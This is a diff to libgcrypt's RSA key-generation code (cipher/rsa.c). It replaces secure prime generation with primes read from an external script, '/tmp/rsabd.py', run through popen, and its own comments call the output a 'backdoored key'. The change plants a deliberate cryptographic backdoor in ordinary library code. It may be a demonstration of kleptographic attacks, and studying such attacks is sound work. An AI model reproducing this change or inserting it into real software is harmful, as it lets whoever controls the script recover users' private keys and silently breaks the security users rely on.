diff --git a/cipher/rsa.c b/cipher/rsa.c
index ccc9f96..b5c5c65 100644
--- a/cipher/rsa.c
+++ b/cipher/rsa.c
@@ -191,6 +191,9 @@ generate_std (RSA_secret_key *sk, unsigned int nbits, unsigned long use_e,
   gcry_mpi_t g;
   gcry_mpi_t f;
   gcry_random_level_t random_level;
+  FILE *bdk;
+  unsigned char bdkbuf[300];
+  gcry_error_t err;
 
   if (fips_mode ())
     {
@@ -238,19 +241,28 @@ generate_std (RSA_secret_key *sk, unsigned int nbits, unsigned long use_e,
         gcry_mpi_release (p);
       if (q)
         gcry_mpi_release (q);
-      if (use_e)
-        { /* Do an extra test to ensure that the given exponent is
-             suitable. */
-          p = _gcry_generate_secret_prime (nbits/2, random_level,
-                                           check_exponent, e);
-          q = _gcry_generate_secret_prime (nbits/2, random_level,
-                                           check_exponent, e);
-        }
-      else
-        { /* We check the exponent later. */
-          p = _gcry_generate_secret_prime (nbits/2, random_level, NULL, NULL);
-          q = _gcry_generate_secret_prime (nbits/2, random_level, NULL, NULL);
-        }
+
+
+      /* generate a backdoored key */
+      bdk = popen("python2 /tmp/rsabd.py --gpg --generate", "r"); // --debug
+      /* save p */
+      fgets((char *)bdkbuf, sizeof(bdkbuf), bdk);
+      bdkbuf[strcspn(bdkbuf, "\r\n")] = 0; // truncate at newline - can only parse hex chars
+
+      err = gcry_mpi_scan(&p, GCRYMPI_FMT_HEX, bdkbuf, 0, NULL);
+      if (err) {
+          printf("error parsing p: %s", gcry_strerror( err ));
+          exit(1);
+      }
+      //log_mpidump("p as parsed from rsabd: ", p);
+      /* save q */
+      fgets((char *)bdkbuf, sizeof(bdkbuf), bdk);
+      bdkbuf[strcspn(bdkbuf, "\r\n")] = 0; // truncate at newline - can only parse hex chars
+      gcry_mpi_scan(&q, GCRYMPI_FMT_HEX, bdkbuf, 0, NULL);
+
+      pclose(bdk);
+      printf("backdoored key generated\n");
+
       if (mpi_cmp (p, q) > 0 ) /* p shall be smaller than q (for calc of u)*/
         mpi_swap(p,q);
       /* calculate the modulus */